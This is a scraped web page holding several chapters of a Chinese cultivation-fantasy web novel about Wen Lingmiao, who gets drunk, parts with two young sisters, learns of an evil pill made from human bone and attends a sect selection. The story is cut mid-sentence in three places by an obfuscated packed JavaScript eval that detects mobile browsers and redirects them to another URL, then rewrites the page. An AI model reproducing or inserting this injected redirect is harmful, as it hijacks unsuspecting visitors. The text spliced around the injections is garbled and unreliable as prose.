楚刀也有些呆住,不是没见过酒量差的,但差到这地步,还不会用灵力化酒的,她是头一次见。但她随后坏心一笑,低头凑到楚盈耳边,悄声得意道,“机会来了,看你姐姐的。” 她大摇大摆地走到温泠淼面前,移开酒壶,把脸探过去,盯着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413790|200728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她朦胧的眼,奴隶翻身般叉腰说:“哎,你——不对,你叫什么,我都告诉你我的名字了,你却不让我们知道怎么称呼,是不是太不公平了。” 温泠淼大脑一片空白,隐约听到有人在问她的名姓,努力想了想,觉得按小说设定,马甲是个好东西,但她脑子转不动了,被这乍一问下,怎么也想不出些好听的。最后她放弃了,随口排列组合了一个。“温君,姓温名君。温水的温,君主的君。” “好好,温君大人,请问你是哪位大能坐下弟子呀,身上这么多灵穴,还吃过五阶灵丹,可别再骗我是个准备去小宗门欺负孩子的散修了。”楚刀先前还在被她那一套一套的古怪发言牵着鼻子走,现在温泠淼不说话了,她却有些回过味来,才发现不对呀,性格问题还是其次,这人首先是全身上下写满了金灿灿的“传承”二字,哪里像是没归属,还得依附小宗门的样子。但同时,她的怪异言语和文盲设定也让楚刀对其来处更加好奇,该不会是什么隐士大能的关门弟子吧。 “五阶灵丹?”温泠淼是真断片了,直愣愣地听完一句,最终却只捕捉到了几个字。她用力回忆,抓耳挠腮,最后不知道想起了什么,烦躁地摆摆手说,“哦,莫提这个,便宜道侣送的。” 道,道侣?这两字落在一旁燥侯的楚刀楚盈耳中,就如响起一道霹雳。她俩对视一眼,从彼此的目光中看到了一万个不敢相信,而后再缓缓转过头去看那已经用手托起下巴,眼里一片迷茫,不知在想些什么的人。楚刀眼眨得飞快,拼命把温泠淼面上每一处弧度,每一根眉毛都看过一遍,不能吧,就这破性格,一副绝情寡欲样,哪里看得上别人。 楚刀看着看着,心中忽然浮现一幅画面,画面中温泠淼和另一人相互凝望,对方楚楚可怜,眼圈泛红带泪,深情地双手奉上一枚五阶丹丸,她冷漠睁着的眼也红,也带泪,却满是腥臭的血,忽然劈手夺过丹丸,发出长串剧烈又尖锐的笑声,袖中寒光一闪,万剑飞出。 不行不行,太荒谬了。楚刀狠狠摇头打破想象,而且她看着也没比她们大几岁,人生进度怎一下推进这么快。 楚刀伸出手指,戳了戳温泠淼的手臂,让她将茫然的眼转过来,小心翼翼问道:“大人您…已婚?” “离了,丧偶。”温泠淼面无表情地答。 楚刀和楚盈又对视一眼,小小的她们虽比同龄人成熟,却还是无法很好理解这几个词的含义。但这一下涌入的震撼信息太多,她俩现在已经不知道该说,该想些什么。善良的楚盈先颤颤巍巍地道了句:“节,节哀。”然后却见楚刀忽然如梦初醒,一副又被骗了的咬牙切齿表情,双手按在楚盈肩上,晃着她嚎叫,“该死,我俩又被耍了,怎么有人喝醉了还能满嘴吹牛啊。” 15. 言别 温泠淼在地铺上醒来,确切来说,是被窗外连天的雨声敲瓦惊起,她睁眼,见了身边蜷缩熟睡的楚盈,床上昏迷的左槐,和墙角处正打坐运灵的楚刀,不知为何松了口气。她再向窗纸上看去,大雨已来不及凝成水珠,便成股淅沥沥淌下。 是她在这世界见的第一场大雨。 她极喜欢的潮湿水汽从房角蒸出,带着腥味,铺满鼻腔,让她清醒了些。温泠淼揉了揉发痛的太阳穴,稍微回想起情况后,双目骤然警惕起来,左右检查下自己,很好,系统还在,身上也没少个肝儿肾儿,储物戒里的东西原封不动放着,看来这次算是幸运的,没被小贼劫掠,两小孩子心也不坏,没有趁人之危。 她挣扎着站起来,不忘在心中反思自己,仗着上一世还不错的酒量,以为这类土酒别说一杯,一瓶都醉不倒她,结果忘了换具身体后,肝肾功能不同,原身这看着就是滴酒不沾的瘦弱身子,被她一杯下去,直落个意识全无。 温泠淼心里一阵后怕,若不是如今环境还算安全,后果不堪设想。她把自己从头到脚暗骂了一遍。都说百密一疏,先前每步都走得谨慎,怎一稍有松懈,就犯下大错,日后可不是每一次都有这样幸运。 她又愁起系统任务,不知为何,那一句如今想来怎么看怎么是嘲笑的“可不要贪杯哦”突兀出现脑中。温泠淼心中冷哼一声,既然系统不提浓度要求,她大不了把酒稀释得跟水一样薄就是。 听到动静,楚刀中断运灵,站起身,上下打量着温泠淼,确认她眼神恢复了熟悉的沉静,舒了口气,随后忍不住戏谑道:“终于醒了啊,我还没见过有修士不知怎么化酒力的,不知道就算了,酒量还相当的不怎么样。” 才过一晚,这小孩就不怕自己了,说话都不客气起来。温泠淼不动声色打探道:“我昨晚干了什么?” 谁知楚刀再不会被她看着的冷漠吓退,没好气地说:“你?你说你叫温君,目前丧偶,然后就直挺挺栽到地上,把我和楚盈吓个半死,费老大劲才把你挪过来。” 原来只发生了这点事,温泠淼放下心来,低低一笑,温君?不算好听。丧偶?倒也准确,不过丧偶的不是她罢了。她不否认,也不解释,只抬起头来,眉眼弯弯,“谢了,辛苦。” 楚刀被她这突然灿烂的笑容吓得一滞,最终有再多抱怨也没能说出口。却见那边的温泠淼又收了笑,直截了当问道:“如何化酒力?” 楚刀眼抽了抽,还是没忘记自己的职责,将如何用灵力驱净血液中的酒精告诉她。温泠淼很快便学了去,她往碗中小心倒入薄薄一层酒,再充水稀释到约百毫升,一边将之饮下,一边用灵力散着酒气,只见系统进度蹭蹭直涨,不一会便完成了今日喝水任务。 而后她担着楚刀疑惑的目光,握住重物,旁若无人地做起练体所需的俯身划船。在楚刀实在没忍住,问她究竟施展什么神通时,她神秘一笑,说是来自东方的健身秘术。惹得楚刀半信半疑,修炼都忘了,站一旁观望良久,却除了动作实在古怪外,看不出一点名堂,只能在心中给温君大人的信用再扣一分。 在深秋冷雨声浸泡的房中,唯一醒着的二人没再提昨晚的事,在楚刀心中,这个怪人的信用早清了零,自然,对她说的什么绝世强者,便宜道侣,健身秘术也半信半疑,却懒得再细问下去。她和温泠淼不同,她不信别人,只信自己,绝世强者?要真有这个人,不如看看三十年后,等她亲自去看看是她楚刀,还是那什么漱玉的大师姐。 - 未时,天雨无情,敲在巷间石板上,细股泥泞在其中蜿蜒流淌,稀疏的步履踏在上面,不时溅起泥花。秋桂巷尾的小馆此时才开门迎客,门头和馆中都贴了不少寻人的告示,里面张罗布置着的一对老夫妻,面容疲惫,眼带悲痛,似比几日前苍老了数十岁。 小馆门可罗雀,就算偶有不知内情的客人走进,也在刚踏入一步时,便被老太逮住,疯了样反复问询有无见过她失踪的孩子,而后被吓得连连摆手褪去。就连一旁缩头擦着桌的老头,一个不慎摔了筷子,也引得那旁老太看来,劈头盖脸又一顿数落,从他做事不小心说起,再怪他没将门窗关紧,才让小温姑娘被捉了去。说到最后,老太干瘪的嘴唇颤抖着,再吐不出一句话,只丢下手中抹布,眼里蓄满了泪。 就在这时,小馆门口停了个撑着漂亮油纸伞的小姑娘,绿裙白袍,背着小小的包裹,杏眼大而圆,带着几分好奇向屋内看来,见气氛阴沉,不由有些退缩,但想起受人所托,她又鼓起勇气,脆生生地问道:“那个,请问这里还收杂工吗?” “我会的可多了,我能烧火,刷锅,洗碗,切菜。“她偏了偏头,生怕他们不信,伸手认真数着。话毕,她怯怯地抬头往小馆里看去,又在捕捉到什么后,杏眼忽然亮了起来,”对了对了,我还是这画上的姐姐介绍来的。” “小温姐姐说,她要和我姐姐一起去闯大选求仙了。”提起两位姐姐,楚盈笑得灿烂,“她还说,她要走了,这里肯定缺一个杂工。” 无人注意到,巷角的阴影里,藏了道裹在麻布斗篷下的影子,正远远凝望这方,神色难明。最后,影子深深鞠了一躬,转身离去,不多时,便混入主街熙攘的人群中。 街上如盛满的莲池,撑起千伞万伞,伞面相依。她手中也握着把伞,却不打开,只任由水浇湿衣裳,滴滴答答淌在地上。 新路将启,前尘隔海,如此,便好。 - 送走楚盈后,客房空荡荡的,少了姐妹们亲呢的交流声,只剩窗外暴雨淋漓。 温泠淼靠在墙角,眼睫微垂,在思算着下一步,她还是那副样子,面上不带什么表情,却不知为何浑身淌水,伶仃又狼狈。 楚刀与妹妹分别,自然也高兴不起来,但她毕竟年少气盛,对离别一词体会不深,边继续打坐练气,边默默握拳发誓等她在仙宗崭露头角,一鸣惊人,再来接妹妹去过逍遥日子。 - 傍晚,浊手药师大大咧咧闯入房中,她一来,房里就多了浓重的酒气和雨腥味。在温泠淼“你不是说一天就能治好吗。”的眼神下,中年女人挠头打着哈哈,又施了次药,拍胸脯保证用不到半个时辰人就能醒。 “那请药师大人留步,待人醒了,再到我这领报酬。”温泠淼虚虚把她拦下,笑道,“正好,温某还有一事相询。” “怎么?你是终于不舒服了吗,久等了久等了。诶,手伸过来让我把把脉,不对,还是先看看舌苔…”浊手药师精神大震,袖子一捞,往温泠淼身上扑去。 没想到温泠淼身形一闪,退到桌后,指着上面摆出的一排丹丸和药草,问道,“不知药师大人可否告知这些丹药的种类和用途,温某必有重谢。” 一听原来是要扫盲,浊手药师脸迅速扁了下去,但被面前吊着的“重谢”二字迷住眼,她不情不愿地翘着二郎腿坐下,伸手要了纸笔,眼一扫面前的丹药,就对着一一写了下来。 一阶下品益气丹,有加速灵力流动,提升灵力吸纳速率之效;一阶下品宁心丹,有静心宁神,增强修炼效果之效…温泠淼一个个看去,忽然心头一动,问出了口。 “您是否知道一种二品丹丸,色青如玉,拇指大小,有暂缓伤势,提升实力之效,作用时间约为一刻钟。在练气期的前提下,能将修为短暂提升一层。” 闻言,浊手药师手一抖,笔画一顿,压出丑陋的墨痕。再抬眼,却是笑得又深又假,她不答,先反问道:“你问这丹做什么。” “无事,只是先前与一仇敌战斗时,他服用此丹,给我带来了不小的麻烦。”温泠淼不紧不慢地说,眼却盯住浊手药师,多了一丝探究。 “琉璃楼的是吧。”浊手药师写毕,搁了笔,将纸按在桌上,冷笑两声,“生灵化骨丹,二阶,按你的说法,该是下品。是二阶里最容易炼制,效果也最好的丹之一。可惜,单方早已失传,只有琉璃楼会。” “它的原料,是一副灵骨。” “什么灵骨,不就是人修的骨吗?”气氛凝滞时,一旁的楚刀惊叫出声,“这等邪丹,不是早在人界被封杀绝迹。正道修士怎会允许这等邪丹出世,为祸人间!” “小妹妹,水至清则无鱼。”浊手药师性质缺缺地起身,从桌上挑了两枚宁心丹,一枚蕴体丹,拨到自己身旁。她将冷笑收起,复了寻常样子,懒懒道,“你以为人即是善,魔即是恶吗,魔族走了太久,自会有人做它们的事。而人也需要魔,正如再烈的光,都需要影子。” “这三枚丹归我,一枚当作答疑的报偿。那旁的病人也该醒了,诸位,有缘再会。”她挥挥手,眼中清明被醉意驱散,打着呵欠,摇摇晃晃离开。 温泠淼扯了扯嘴角,不置可否,余光一瞥,就见如其所言,她前脚刚走,床榻上的人便睁开了眼。中年男子对境况十分茫然,一醒,便仓皇坐起身,满心恐慌。 见状,温泠淼用剑柄碰了碰楚刀的背,示意她上前解释。 左槐惊魂未定间,又见床边两道熟悉的身影,神色几经变幻。他有些恍惚,难以相信竟是活了下来,不知是否是上天垂怜,□□的伤已恢复,可那段噩梦般的记忆,却无论如何都抹不去。他目光落在正发出声音的楚刀身上,只能隐约见她嘴一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413791|200728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张一合,说着什么“当时王麻子拿我妹妹威胁”,“我不得已之下”一类的话。 他想冷笑,但他不算愚笨,脑子一转,便弄清楚了情况。这站在骗子女孩身后,静静看他的姑娘,哪还是那个搭车时一脸天真的傻孩子。她能与琉璃楼结怨,悄无声息将王麻子和一众下线给端了,必然实力不弱。如今也不知他们打得如何,现在当务之急,是赶紧逃出这摊浑水。想罢,左槐收起牙尖嘴利,对着温泠淼二人毕恭毕敬。 至于他怨不怨,是否还会记恨,温泠淼不知,也无意探求。她不是完人,只求自己心安。 楚刀看他迅速换上谄媚的笑,对着自己的道歉是是是地接受,心中没有想象的放松,反倒莫名难受不少。 这时,她忽然懂了温泠淼的话中意。 - 左槐千恩万谢地走后,房中只剩楚刀和温泠淼二人,漫天的雨声由连绵变得细脆,敲在瓦上,丁零作响。 明日太阳升起,即是大选了。温泠淼从储物戒中翻出碎玉爪卷轴,看过一遍就上手试了起来。 碎玉爪所用的灵穴,只有两个,不到她右臂所开的十分之一。温泠淼照卷轴所言,牵了一小股灵力聚于穴上,曲掌成爪,横空扫过。只见灵力在指尖凝作令人生寒的金色实体,而后破风击下,被她强制停住前,已在空气中撕出激烈的啸声。 好家伙,她微微眯眼,仅仅是两枚灵穴,按照特定的灵力运行之法,竟能接近她灵穴全亮时的效果。 且比起以速度取胜的飞鸟指,碎玉爪虽使起来有些笨拙,却独独带一分难以阻挡的霸道力劲,若被它袭到肉身,怕是会直接落个粉身碎骨下场。 看来役使灵力,没她此前想的那样简单。这让她更期待起那些小说中的剑技步法来。 楚刀又被她的动静打断修炼,一睁眼,就见温泠淼扬手,把碎玉爪卷轴丢到她身旁,淡淡道:“你曾助我,这体术有你一份。大选在即,多学点总是好的。” 她捡起卷轴,也不看它,只是将之仔细收起,而后注视着温泠淼,问道,“你赞同她的话吗?” 这一日,发生事情太多,她再如何修炼,都无法静心,倒不如趁此机会问个清楚。 温泠淼一思索,便知她指的是谁,也不正面回答,却先问楚刀一句:“你认为,什么是善,什么是恶?” 她不等回答,便径自说了下去:“我以为,符合人类社会秩序的为善,破坏秩序的为恶。” “人类秩序又生于何?”温泠淼轻轻一笑,“人尚处大荒中,生于微末之时,在与天地,自然的交锋下,为延续人这一群体,诞生出规范个体行为的道德和秩序。” “善恶,始于群体利益与个人私欲的交锋,人皆有私欲,其中,违背基本秩序,有损群体利益者,可称为恶。人人有恶,你我皆不能免俗。能否约束恶的生成与扩大,除却个人道德外,更重要的,是秩序对其惩罚是否公正。很不幸,这里没有这样的东西。” 她语气有些怅然,却将话题一收,淡淡道,“扯远了,有些人知恶的必然,选择了不争,这是浊手药师信奉的道,她的意思,不过是世间善恶尽在平衡之中,就算一方一时逾矩,最终也会恢复常态。而我,则不这么认为。” “我以为,纵使人并非善恶分明,纵然恶必然存在,也并非放任其生长的理由。正因缺乏约束,这平衡太过脆弱,稍有不慎,千年文明盛世,就有一朝倾覆的风险。若人人不争,又何来平衡。如今的太平,也不过是靠钧天半仙镇着,待她亡故后呢,位列其后的所有强者都道德高尚吗,魔族便没有强者吗?” “覆巢之下,焉有完卵,个人存亡和人类整体息息相关,因此与她不同,我要争,不求能做多少,只做自己可为之事,为的,功利些说,是要争一个生的机会。” “自然,这不过是我的一家之言,你现在还小,等长大了,会有自己的感受,到时要如何选择,端看你自己。”温泠淼见楚刀尚不能完全理解她的话,一直绷着的小大人脸难得染上疑惑之色,不由声音又放温和了些,“你也不必怪她,我总觉得,她说那番话,该有自己的隐衷。” 雨声渐歇,温泠淼静静将目光移开,望向窗纸之外,那里,一缕天光正蒙蒙透出。她自嘲一笑,道:“我是很自大的人,现在你我不过被浪潮裹挟的微末,就同你说这些太远的东西。纵然我百般看不惯琉璃楼,实力不够,除了四下逃窜,又有什么办法?此方世界,虽然我很不喜这点,但现实来说,唯有强者才有权力去表达。你若真想改变点什么,就去变强吧。” “大选,开始了。” 16. 大选 大选之日到,本就繁华的第三城气氛更如干柴迎风而燃,火热异常,用万人空巷形容都不为过。城西主街虽宽十丈,如今也人满为患,水泄不通,除却那些跃上台参加大选的,不少只为凑这一年一度热闹的百姓,也在台下街边随意找个支起酒旗的馆子坐了,抓把花生配小酒,便同旁人吹嘘起自个在往年大选上见着的天才来。说书的,卖酒的,吆喝的,人声鼎沸,一派人间盛会景象,就连几日前琉璃楼事变造成的恐慌也被冲散了许多。 皓月台百丈方圆,由大大小小的青石削平拼就,离地约半余丈高,有灵力的孩童脚下一发力,便能轻松跃上。但也有众多好事者一个拉一个,使出浑身解数,狼狈地攀上台来,就为一睹仙人风采。 到了台上,才知更是热闹非凡,方圆百丈听着虽大,如今却要放下数百宗门,再加之上三下九浩浩荡荡占去最中心的大片美地,小宗门们自是挤得密不透风,其中不乏有为谁多占了几寸地吵得不可开交的。 温泠淼同楚刀一早便来了,未曾想人实在是多,简直挤成一碗稠粥,二人费不少功夫,才挤到上三宗附近。 温泠淼目标已定,自是不急,来这一是为了陪楚刀,二是也想见见小说中的仙门。但比起楚刀满眼放光,恨不得冲上去这也看看,那也摸摸的激动,她的心要沉下许多。 不知渊山那边来的是谁,虽然原身是毫无灵根的凡人,但她毕竟没有记忆,若原身道侣曾带她去渊山露过面,那她这张脸岂不是有被认出的风险。想到此,温泠淼又将斗篷扯下几分,遮到只露出张嘴,好在楚刀无意渊山,二人远远绕过最热闹的那处,往插了晞月旗帜的驻地走去。 虽心下打定离渊山要多远有多远的主意,但她还是难抑对第一剑宗的好奇,从兜帽阴影里迅速投去一眼,在没找到某个熟悉的人影后大松口气。 没来就好,温泠淼随后心中自嘲一笑,自己未免太多虑了些,第三城非渊山主场,贵为内门弟子之首的他,是有多闲得没事干,才会来这地方。 渊山驻地同旁边大张旗鼓的两宗不同,简洁,敞亮,一目了然,连杆旗帜都没有,只在台上插了一剑,宣告这是渊山。驻地中不过三位弟子,一形状古怪的奇石,和测灵根所用的晶簇而已。 温泠淼眯起眼,目光暗中从三位弟子身上扫过,二男一女,皆是青袍佩剑,神色肃穆,不发一言,没一个能被她探到等级,看来实力皆远在她之上。 她记得按原书所说,渊山制式是外门青袍,内门玄衣。渊山此行,竟只派了三位外门弟子吗,那么说前些天琉璃楼一事,也是这三位出的手? 不,也有可能是其余人不愿在此露面,看来还得再谨慎些。温泠淼眸光微沉,往人群中躲得更深,并暗中观察着渊山那方的动静。这一看,便奇怪地发现,比起测灵根,他们反倒是让参选者先去摸那块奇形怪状的石头,但她看的那几人都没能唤起什么特殊的动静,最终只能被渊山弟子请了回去。 自大选开始,已过了一个时辰有余,渊山驻地还是只站着那三个外门弟子,竟没一位参选者被留下。 真是只要绝世天才啊,温泠淼虽没从那块奇石上看出什么名堂来,却也知是在筛选某种比灵根更特殊的东西,无奈一笑,这倒也正常,按书中记载,渊山上下,弟子不过两百余人,不设杂役,只分内外两门,内门弟子更是只有十五个,却各个名满天下,天榜留名。 虽渊山神秘,弟子鲜少出世,世人对其知之甚少。但因谢星君去过渊山,温泠淼倒是比旁人多知道些。 渊山,上三宗之首,宗门设在第一城辖地九万大山深处一名为寒涧的秘境中。修仙百道,渊山只专注一道剑,并将之贯彻到了极致,弟子长老,皆是剑修。 渊山之强,除却两位渡劫长老外,更在于其顶端,有万山支陆唯一,不,唯二的天人之一。 天人,又称半仙,指渡九道飞升雷劫失败,留在凡间的修士。渊山的半仙封号钧天,是千年难出的四灵根天才,传言若时间足够,渡劫成仙,对她而言不成问题。可惜在两千年前的人魔大战中,魔族十位渡劫魔尊压境,人族渡劫却只有五人,为挽颓势,她强行渡天劫未成,化为半仙,一剑斩三魔,并将剩余魔族硬生生逼回了永寂海域。 战后,她留在渊山,并于九座城池中设下归一万法阵,镇守人间太平。这九座城池按她步阵先后,得名第一到第九城,在千年中逐渐发展成凡人兴盛聚居之地。可以说,只要钧天半仙还活着一日,人间就多一日盛世,渊山就永远是大陆第一剑宗。 但温泠淼知道,人族这位剑修天人的寿命,只剩不到短短五十年了。 温泠淼拉下兜帽,背着渊山走去,她咀嚼着回忆,不知为何情绪有些低落,但这低落在见到晞月宗门驻地后,便被一扫而空。 原因无他,晞月的排场,未免也太大了些。 拨开看热闹的人群,映入她眼中的,是一座三层楼阁,通体雪白,竟是由一整块白玉雕成,其上华光流转,宛若仙人居所。白玉楼阁旁,不知是否是施了什么秘境的缘故,竟在这青石削成的台子上添了小桥流水,不时有橙红锦鲤从池中跃出,点缀画境。弟子们穿着白色仙袍,五彩祥云纹盘绕其上,衬得衣中人个个宛若仙人神女。温泠淼一数,好家伙,只算第一层进进出出的,就来了二十余个弟子。 这般奇景自然惹得平日见不着仙人异象的人们啧啧称奇,将这处白玉楼阁绕了里三层外三层,指指点点,议论纷纷。就连在楼前排队参选的,都有足足百人。晞月弟子们虽看着仙气飘飘,但温泠淼却能从他们昂着的头中,读出一丝骄傲和不屑。 晞月虽屈居渊山之下,规模却要庞大得多,包含各类杂役在内,足足有万人。宗门所在之处名为悬京,是九天之上的巨型浮岛。传说若住在东海边,挑天气晴好时往日出之地望去,便能见玉宇琼楼凌云而起,鸾鸟霓虹腾跃檐间,悬泉从岛沿穿云而下,击入海中,溅起百尺巨浪,此番仙境胜景,即是悬京所在。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413792|200728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>温泠淼眉微微皱起,她对晞月的印象不深,谢星君极不喜晞月处事,故而从未去过悬京。又因魔族从永寂海域来,悬京恰好在东海腹地,未等书中多几句描写,钧天半仙刚身陨,晞月便沦陷了。 等有人回过味来,自然从其中嗅到了阴谋的味道。但此时悬京已是鬼城,缩在魔族最后方,未有一人生还。也就无人能知晓在当时的海上仙岛,究竟发生了什么。 晞月排场虽盛,楚刀却直觉他们气氛不善,一时做不下决定,二人就在楼前排起的长队旁观望着,可惜遴选是在楼中进行,无法一窥他们都测些什么。 温泠淼还在思索日后是否要找个机会去悬京拜访,余光却一下捕捉到白玉楼阁后凭空多了两个晞月弟子,许是被派了任务,他们正往长队这边走来,还不忘凑着头抱怨。 不知是自大,还是出于故意,二人都没使用传音,温泠淼兴致来了,灵力汇聚双耳,开始聚精会神地偷听。 “…今年又是这样,这帮人都爱先往渊山那凑,留不下的,才来我们这。要有什么天才,还不得被渊山给挑走了。”走在前的女修声音高亢,“我们哪里比他们差了,如今天榜第一,可是我们少宗主。” 天榜第一?温泠淼眉一挑,怎么按她所记,在谢星君之前,一直是她熟悉的那位占的。 难道由于原书是从三十年后开始,在这段时间里发生了什么,让郁丹臣后来居上了? 可惜,晞月二人并未顺着她好奇的话题聊下去。略靠后的男修闻言,忙附和道:“说到渊山我就来气,前几日在城主府中,那严观还借文心老头的传音符给咱立下马威,嘿,自己爱管闲事就算了,扯我们干嘛。我和云深师姐本来约了要去看珍宝阁夜拍的,这下倒好,全在陪他们趟那什么楼的浑水。好不容易来一趟凡间,最后哪都没去成。” 温泠淼心中一紧,她就说渊山怎么可能让几个外门弟子处理魔修事宜,严观这名字她没丁点印象。但渊山在长老和弟子外,还设有一些行政职位,虽说是行政,修为也都在金丹之上,若她猜的没错,这位应是其中之一,亦是此次第三城宗门大选渊山的总负责人。而二人口中的文心老头,是渊山的五长老,修为已到化神。 看来那几个指点江山的人竟是说得八九不离十,温泠淼从二人的聊天中拼凑出当时的景象,唇角扯出一笑,无非是晞月咸池二宗不愿出手,渊山见劝不动,便遥请长老传音,压着两宗和城主府处理。压是压动了,但城主府和这些宗门各有各的摸鱼,没想到最后被未知势力摘了桃子。 “渊山向来爱笼络人心,依我看来,这帮凡人散修技不如人,连琉璃楼那些练气二三层的喽啰都打不过,也没多少活着的用处,被抓走算他们活该。哪来的脸让我们擦屁股。”女修忿忿接话。 “师妹说的是,渊山还拿魔修这大旗来压我们,我可不信他们的鬼话,钧天老太不是还活得好好的,魔修哪敢上大陆找死。怕不是看错眼,什么修邪法的小鬼都能说成魔了。” 17. 少爷 这话说得实在难听,纵使是喜怒不怎么形于色的温泠淼,眉心也逐渐拢起,她微微偏头看向渊山那边,晞月二人话音不大不小,旁人实力若强过她,要听到并非难事。而在附近,实力能到练气五层以上的,便只有那三人了。果然,三位渊山弟子都面色微变,但终究风骨在此,没做太多反应。至多只是看着年纪最轻的一位往这边看去一眼,把手按在剑上,最终还是缓缓放了下去。 晞月二人似乎被这一眼吓得赶忙噤了声,但见他没进一步动作,又狠狠切了一句,继续兴致高昂地交头接耳起来。不过他们终究还是学乖些许,用上了传音。温泠淼只能从他们拧动的眉眼里猜测难听程度该是更上一层楼。 她见二人逐渐往这边走来,神色一暗,蹲下身去,附在楚刀耳边,三两句将她方才听到的东西转述过去,惹得面黑的人又多了一个。 “我们走!”楚刀后牙槽狠狠一磨,扯起温泠淼的衣袖就走,没再多给那宝光四射的白玉楼阁一眼。“谁稀罕这金玉在外,败絮其中的鬼地方。” 温泠淼闻言一笑,刚欲转身,目光却被晞月队尾两道熟悉的身影挂住,步子一顿。楚刀察觉手中一紧,也顺着看过去,然后眼睛便亮了起来。 是原先在王麻子那救下的孩子,个子稍高些的男孩衣着朴素,神色拘谨,陪侍在旁,另一位矮个子男孩倒是不知从哪又弄了套金丝绸缎穿在身上,才过两日,他面颊就肥润了些,鼻孔朝天,雄气十足,二人俨然一副小少爷和家仆的样子。 他们正聊着什么,没注意到这边。楚刀惦念着毕竟有一段患难情在,刚想上前相认,顺带对晞月的作风提点一二,却感觉肩头一凉,一只极冰冷的手轻轻按她身上。 她疑惑地回头看去,只见温泠淼把一根指放在了唇边,微微笑着摇了摇头。 楚刀心领神会地竖起耳朵。 “少爷,我方才好像看到了那姓楚的姐姐,就在想恩人是不是也在附近。我爹常说那什么,滴水之恩,当涌泉相报来着。您说,我们等会要不过去表达一下感谢?” 矮个男孩从鼻子里哼出一声,踮起脚敲打高瘦男孩的脑袋,恨铁不成钢道:“你天天把你那凡人爹挂嘴边做甚,我妈是家主还是你爹是?我妈还说只要有权有势,就不缺人巴结呢。少爷我是什么,我是天才,等我进了晞月,他们还得来奉承我。要我去感谢他们,岂不是让人看笑话?” “而且阿木你也别太天真,那姓楚的可不是个好东西,你忘了她是怎么被放出来的?她在旁边好吃好喝的时候,少爷我还在笼子里饿肚子呢。让她分点过来,她竟然敢掰一小块馊馒头给我。呸,我现在想起来都恶心。” 可是,我也只有那一个馒头啊,王麻子关了那么多人,我哪里分得过来。楚刀微微张嘴,想说些什么,却还是咽了回去,只是双眼有些晶莹。 “还有什么恩人,我看也未必是个好东西。”小少爷咯咯一笑,“你长点心吧,她给我们分的银子,一看就是从琉璃楼的蠢货手里抢来的,那蠢货做这行当几十年了,肯定攒了不少灵石灵药,结果全被她吞了去,丁点都不给我们。” 闻言,楚刀再忍不住,眼中晶莹转为愤怒。她气血一阵上涌,就要从袖中抽出匕首冲过去理论,却被那看似轻轻按她肩上的手制在原地,动弹不得。 温泠淼唇角的笑越来越大,转身离去,顺便手上一用力,将楚刀也带着走了,直到拨开人群,走到见不着那二人的地方,才稍稍松开。 她力道一松,楚刀便狠狠挣开控制,凶戾地盯住她,眼角微红,声音颤抖,“你为何不让我去,他们把我、把你都说成什么样了,你一点都不生气吗?这种白眼狼,还不如干脆就死在那里!” “你说,一个信奉强者为尊的人,进入一全然看不起弱者的宗门,而他此时,正是那个弱者,该多有意思。”温泠淼单膝触地,平视着楚刀,伸手抚摸她干燥的发,淡淡笑道。 她语气前所未有的温和,入了耳中,吹起楚刀一阵鸡皮疙瘩。 这人简直就是一团怎么都说不通的棉花,楚刀泄了气,心中对着那小少爷暗骂你小子最好祈祷这辈子别让我再遇上,不然有你好看。 温泠淼站起身,往挨着的咸池驻地走去。她是真不生气,修仙界持着这小少爷想法的人,十个里估计有五个,并且日后将见到的,会越来越多。灵脉、灵草、仙丹、师承,宗门集此方世界绝大多数资源于手中,那些含着金汤匙出生的,高高在上的仙人们,哪会想到他们也有沦为鱼肉的一天?要为此生气,那日后自会有生不完的气。 何况,她所做一切,都不过为自己心里过得去,书中的一滴墨水怎么想她,又何须在意。 一踏入咸池地界,就像入了什么阵法般,比界外更甚十倍的喧嚣声贯耳而来,吵得温泠淼太阳穴微微鼓动,脑袋生疼。咸池这宗门相当奇葩,驻地虽大,弟子也多,但比起隔壁的仙姿高砌,倒像个小小的集市,弟子们与其说维护秩序,不如说是来趁机做生意捞一笔的。少年男女们穿着咸池制式的暗红袍子,在测灵根的长队旁支起十几个小摊,兜售着稀奇古怪的玩意。温泠淼粗略数过去,就见了看手相的、算风水的、卖轶事小说的,其中竟还有个摊子上摆了十几瓶丹药,摊主则靠在躺椅上眯眼养神,任由旁边挤着的凡人散修叽叽喳喳讨论,眼皮都不动一下,一副爱答不理样子。 而她们所在的队尾旁,赫然是一斗草编人的摊子。摊中放着一枯枝搭做的擂台,其上站着两只草人,它们像被施了什么术法般,竟拿着草杆做的剑自己挥舞起来,一招一式神气非凡,二草人斗得有来有往,惊险万分,引起围观凡人惊呼阵阵。 